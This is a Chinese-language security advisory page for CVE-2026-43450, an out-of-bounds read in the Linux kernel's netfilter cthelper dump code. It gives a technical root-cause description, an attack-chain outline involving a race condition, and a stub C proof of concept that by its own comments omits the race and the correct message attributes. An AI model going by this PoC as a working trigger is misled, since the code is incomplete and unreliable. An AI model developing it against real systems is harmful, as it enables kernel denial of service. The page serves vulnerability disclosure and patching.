IPBUF安全漏洞报告
English
CVE-2026-43450 CVSS 7.1 高危

CVE-2026-43450 Linux内核netfilter越界读取漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43450
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNetfilterOOB ReadDoS本地漏洞

漏洞概述

Linux内核netfilter子系统的nfnetlink_cthelper模块存在越界读取漏洞。该漏洞源于nfnl_cthelper_dump_table函数中goto restart标签位置错误,导致在特定条件下绕过边界检查。本地低权限攻击者可利用此漏洞导致内核崩溃(拒绝服务)或潜在的信息泄露。

技术细节

漏洞位于Linux内核netfilter子系统的`net/netfilter/nfnetlink_cthelper.c`文件中的`nfnl_cthelper_dump_table`函数。该函数用于通过Netlink转储连接跟踪助手信息。函数使用`cb->args[0]`作为哈希表的索引,`cb->args[1]`保存最后一个处理的helper。在遍历过程中,如果当前helper与保存的“last” helper不匹配(通常意味着last被删除),代码本应重新开始遍历当前桶。然而,用于重试的代码块(`goto restart`)被错误地放置在for循环体之后,而不是循环体内部。当循环结束(即`cb->args[0]`达到`nf_ct_helper_hsize`)且触发重试逻辑时,程序会跳转回`restart`标签,此时未执行`i < nf_ct_helper_hsize`的边界检查,导致直接读取`nf_ct_helper_hash[nf_ct_helper_hsize]`,造成8字节的越界读取。这会触发KASAN(内核地址消毒剂)报错,导致内核崩溃。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2:触发漏洞
攻击者通过Netlink套接字调用nfnetlink_cthelper的dump功能。
STEP 3
步骤3:竞态条件
在dump过程中,攻击者并发地删除或修改helper条目,导致dump逻辑中的'last'指针失效。
STEP 4
步骤4:越界读取
内核执行goto重启逻辑,绕过边界检查,读取越界内存地址。
STEP 5
步骤5:系统崩溃
触发KASAN检测或内核错误,导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43450 * This PoC demonstrates the race condition leading to OOB read. * It requires a kernel vulnerable to CVE-2026-43450. * Compile with: gcc -o poc cve_2026_43450.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 12 // Trigger function to dump the table void trigger_dump() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; char buf[4096]; sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // Simplified Netlink message setup to invoke dump // Real exploitation requires precise Netfilter attributes setup memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = 0; // NFNL_MSG_CTHELPER_GET (simplified) nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_len = NLMSG_LENGTH(0); sendto(sock_fd, nlh, nlh->nlmsg_len, 0, NULL, 0); // Loop to receive data, simulating the dump rounds recv(sock_fd, buf, sizeof(buf), 0); close(sock_fd); } int main() { // In a real scenario, we would spawn threads to delete helpers // while this dump is running to hit the race condition. printf("[+] Triggering Netfilter cthelper dump...\n"); trigger_dump(); printf("[+] If vulnerable, kernel may panic/OOPS here.\n"); return 0; }

影响范围

Linux Kernel < specific commit (see git links)

防御指南

临时缓解措施
建议立即更新内核。若无法立即更新,可限制本地用户权限,减少潜在攻击面。由于需要本地访问,该漏洞主要影响多租户环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表